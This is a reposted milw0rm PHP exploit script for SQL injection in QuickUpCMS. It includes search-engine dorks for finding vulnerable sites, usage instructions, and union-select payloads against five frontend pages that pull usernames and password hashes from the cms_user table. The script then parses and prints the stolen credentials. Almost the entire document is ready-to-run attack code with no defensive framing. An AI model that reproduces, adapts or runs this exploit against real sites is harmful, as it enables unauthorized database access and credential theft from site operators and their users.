QuickUpCMS Multiple Remote SQL Injection Vulnerabilities Exploit by h3m4n

VIEWS: 41 PAGES: 2

									                       QuickUpCMS Multiple Remote SQL Injection Vulnerabilities Exploit                                                              Page 1/2
  1    <?php
  2    ini_set("max_execution_time",0);
  3    print_r(’
  4    ###############################################################
  5    #
  6    #      QuickUpCMS − SQL Injection Exploit
  7    #
  8    #   Vulnerability discovered by: Lidloses_Auge
  9    #   Exploit coded by:        Lidloses_Auge
  10   #   Greetz to:           −=Player=− , Suicide, g4ms3, enco,
  11   #                     GPM, Free−Hack
  12   #   Date:               10.05.2008
  13   #
  14   ###############################################################
  15   #
  16   #   Dork1: inurl:/frontend/news.php?nr=
  17   #   Dork2: inurl:/frontend/events2.php
  18   #   Dork3: inurl:/frontend/events3.php?id=
  19   #   Dork4: inurl:/frontend/fotos2.php?ser=
  20   #   Dork5: inurl:/frontend/videos2.php?id=
  21   #   Usage: php ’.$argv[0].’ [Target] [Method] [Userid]
  22   #   Methods:
  23   #    1: news.php
  24   #    2: events2.php
  25   #    3: events3.php
  26   #    4: fotos2.php
  27   #    5: videos2.php
  28   #   Example for "http://www.site.com/frontend/news.php?nr=2"
  29   #   => php ’.$argv[0].’ http://www.site.com/frontend/ 1 1
  30   #
  31   ###############################################################
  32   ’);
  33
  34   if ($argc == 4) {
  35
  36   $url = $argv[1];
  37   $methodnr = $argv[2];
  38   $userid = $argv[3];
  39
  40   if ($methodnr==1) {
  41       $method = ’news.php?nr=null\’union+select+1,2,3,4,5,6,7,8,9,10,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),12/**/from+cms_user+where+id=’.$
       userid.’/*’;
  42   } elseif ($methodnr==2) {
  43       $method = ’events2.php?d=null&m=null&y=null\’union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+wher
       e+id=’.$userid.’/*’;
  44   } elseif ($methodnr==3) {
  45       $method = ’events3.php?id=null\’union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+where+id=’.$useri
       d.’/*’;
  46   } elseif ($methodnr==4) {
  47       $method = ’fotos2.php?ser=null\’union+select+1,2,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),4,5/**/from+cms_user+where+id=’.$userid.’/*’
       ;
  48   } elseif ($methodnr==5) {
Lidloses_Auge                                                                                                                                        05/11/2008
                       QuickUpCMS Multiple Remote SQL Injection Vulnerabilities Exploit                                                             Page 2/2
  49      $method = ’method5: videos2.php?id=null\’union+select+1,2,3,4,5,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),7/**/from+cms_user+where+id=’.$
       userid.’/*’;
  50   }
  51
  52   $source = @file_get_contents($url.$method);
  53
  54   echo "\n";
  55   if (strpos($source,’::::’)!=0) {
  56      echo ’User: ’.substr($source,strpos($source,’::::’)+4,strpos($source,’::1::’)−strpos($source,’::::’)−4)."\n";
  57      echo ’Hash: ’.substr($source,strpos($source,’::1::’)+5,strpos($source,’::2::’)−strpos($source,’::1::’)−5)."\n";
  58   } else {
  59      echo ’Exploit failed!’."\n";
  60   }
  61
  62   } else {
  63   echo "\n".’Not enough arguments!’."\n";
  64   }
  65   ?>
  66
  67   # milw0rm.com [2008−05−11]




Lidloses_Auge                                                                                                                                        05/11/2008

								
To top